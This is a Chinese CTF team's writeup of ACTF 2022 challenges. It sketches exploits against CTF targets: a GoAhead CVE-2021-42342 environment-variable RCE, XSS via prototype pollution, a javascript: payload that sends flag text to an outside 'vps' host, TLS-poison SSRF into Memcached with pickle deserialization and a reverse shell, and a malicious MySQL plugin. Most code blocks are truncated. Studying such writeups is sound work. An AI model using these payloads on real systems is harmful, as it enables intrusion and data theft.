本次2022 ACTF 我们 SU 取得了第五名 🏆的好成绩,感谢队里师傅们的辛苦付出!同时我们也在持续招人,只要你拥有一颗热爱 CTF 的心,都可以加入我们!欢迎发送个人简介至:suers_xctf@126.com或直接联系书鱼(QQ:381382770)
以下是我们 SU 本次 2022 ACTF SU Writeup
Web
gogogo
先看dockerfile
1 | FROM debian:buster |
这里是用了一个goahead,而这里的hello路由放在了cgi-bin里面,而且输出了env
那么就不难找到是gohead的CVE-2021-42342,这个cve的内容是文件上传过滤器的处理缺陷,当与CGI处理程序一起使用时,可影响环境变量,从而导致RCE
记得p牛复现这个漏洞的时候踩坑专门写了篇文章
这和题目dockerfile如出一辙
而且我们的确可以传文件
接下来就是劫持LD_PRELOAD,对于这个东西的了解可以参考如下
LD_PRELOAD 是 Linux 系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
我们编译一个so文件,因为可以操控env,那么我们传上去绑定LD_PRELOAD,然后就可以达到攻击的目的,但是我始终没复现成功
利用p牛复现的时候的技巧,添加脏字符让长度超过content-length还是没有起作用,不知道是不是没有注意到什么细节
后来发现p牛其实还发过一个文章,也是关于环境变量攻击的
这里用
BASH_FUNC_xxx%%=(){id;}
,把原函数给覆盖掉
然后看到hello里面,他是执行了env的,所以我们把env给覆盖掉
1 | BASH_FUNC_env%%:(None,"() { cat /flag; exit; }") |
即注册一个这样变量,让他执行env的时候,变成执行我们定义的函数内容
最后exp
1 | import requests |
poorui
在 compile template 的时候用到了旧版本的 lodash,有 prototype pollution 可以打。
在 render image 时用了
,可以传入自定义属性传入 is="abc"
跟 onanimationstart="JS_code"
即可 XSS
做到 XSS 以后借由去复盖 JSON.stringify 改变传出去的 msg,再借由复盖 JSON.parse 拿到 response,即可拿到 flag
exp 如下
1 |
|
beWhatYouWannaBe
1 | javascript:s=q=>window.open('https://vps?q='+encodeURIComponent(q));s('start');w=window.open('/flag');setTimeout(()=>{s('timeout');s(w.document.body.innerText)},1000) |
ToLeSion
TLS Poison 攻击通过FTPS被动模式 ssrf去打Memcached,写入session值为pickle反序列化payload。TLS 工具:https://github.com/ZeddYu/TLS-poison/ ,按照 setup 做好初始化后,使用如下命令开启 rustls 的转发功能,将 TLS 上层流量转发到 2048 端口:
1 | TLS-poison/client-hello-poisoning/custom-tls/target/debug/custom-tls -p 11211 --certs /home/ubuntu/tls/fullchain.pem --key /home/ubuntu/tls/privkey.pem forward 2048 |
再用写入的cookie去访问即可触发,反弹shell拿flag
myclient
- 使用 MYSQLI_INIT_COMMAND 选项 + INTO DUMPFILE,写一个 evil mysql 客户端认证库到 /tmp/e10adc3949ba59abbe56e057f20f883e
- 使用 MYSQLI_INIT_COMMAND 选项 + INTO DUMPFILE 写入一个 Defaults 配置,其中group=client plugin-dir=/tmp/e10adc3949ba59abbe56e057f20f883e 和 default-auth=
- 使用 MYSQLI_READ_DEFAULT_FILE 选项设置为 /tmp/e10adc3949ba59abbe56e057f20f883e/
来加载一个恶意的配置文件,该文件将触发我们的 evil.so ,然后触发 init 函数。 - RCE
evil.c:
1 |
|
1 | import requests |
Misc
signin
shell脚本,和文件放一个目录解压
1 | #!bin/bash |
得到flag
Mahjoong
可以直接挂机得到flag,大满贯
或者直接看源码 webpack://majiang/src/js/majiang/util/hule.js
1 | let a = [240,188,218,205,188,154,138,200,207,33,26,246,30,136,124,38,241,178,193,127,163,161,72,140,187,16,19]; |
ACTF{y@kumAn_1s_incredl3le}
safer-telegram-bot-1
去 tg bot 不停地发一堆 /login,碰个时间,蹲到哪个没 rejected,点一下 login 就能拿到 flag1 了
不行的话多试几次就有了,乐
signoff
填问卷
Pwn
mykvm
1 | # opcode X |
我的idb文件
暂时无法在文档外展示此内容
VM指令的文本格式,运行上面的脚本应该可以得到相同的数据,ID:Cynosure 对指令有问题可以找我(或许我写错了,呜呜呜)
文本比较大,有4w+行指令
暂时无法在文档外展示此内容
2048
过了2048后直接ret2csu。
1 | from pwn import * |
Crypto
impossible RSA
给了ssl格式的公钥,先去在线网站解出n、e。
根据题目条件可推导出这样的关系:
$$kp^2+p-en=0$$
这里直接用求根判别公式去爆破k即可。exp:
1 | from Crypto.Util.number import * |
RSA LEAK
这题一共有两个难点:1.类似于中间相遇的攻击思想求rp和rq 2.用已知条件建立一元二次方程求根
首先根据leak函数来求rp和rq,由于这两者都是(0,2^24)的随机数,双层循环爆破很困难,于是采用中间相遇的思想——以空间换时间:
1 | # 中间相遇攻击 |
对于n=pp.qq,不难发现a.b就等于n开四次根取整,因为这里的rp和rq太小了。整理一下所有的已知条件:
$$r_{p}=pp-p; r_{q}=qq-q; pq=(ab)^4; ppqq=n$$
如果我们用rp乘rq,会出现n,ppq,qqp,pq ,由于 ppq 是未知的,所以需要构造这个来相消;因此考虑 rpq ,同理rqp,消去以后剩下 p*q 和 n ,都是已知量,最后得到:
$$r_{p}qq+(pq-r_{p}r_{q}-ppqq)+r_{q}pp = 0$$
等式两边同乘qq得到关于qq的一元二次方程,解出来就是qq,完整过程:
1 | from gmpy2 import * |
Rev
dropper
首先程序打开 大致看下思路 给人的感觉就是他这个题好像就是两个大整数再balabala
最后这个地方应该就是做差
一开始程序调试期间遇到了除0异常 在其他地方下断点即可
这个地方确定了大小
之后
是解密字符串数据后进行逆序的4个一组切割字符串并转换为int,还原出一个大数的操作
dump出密文 取出运算数据
1 | [[0x000024AC, 0x00000116, 0x000004F4, 0x00000B64, 0x00001DC3, 0x00001B4A, 0x000001B2, 0x00001FCE, 0x00000E81, 0x000025AB, 0x0000015B, 0x0000252D, 0x000002AC, 0x00000F77, 0x000022F5, 0x000019E3, 0x00001C53, 0x00000B66, 0x000011BC, 0x0000193A], |
运算过程
脚本解密即可
1 | #_*_coding:utf-8_*_ |
Blockchain
bet2loss
https://www.seaeye.cn/archives/480.html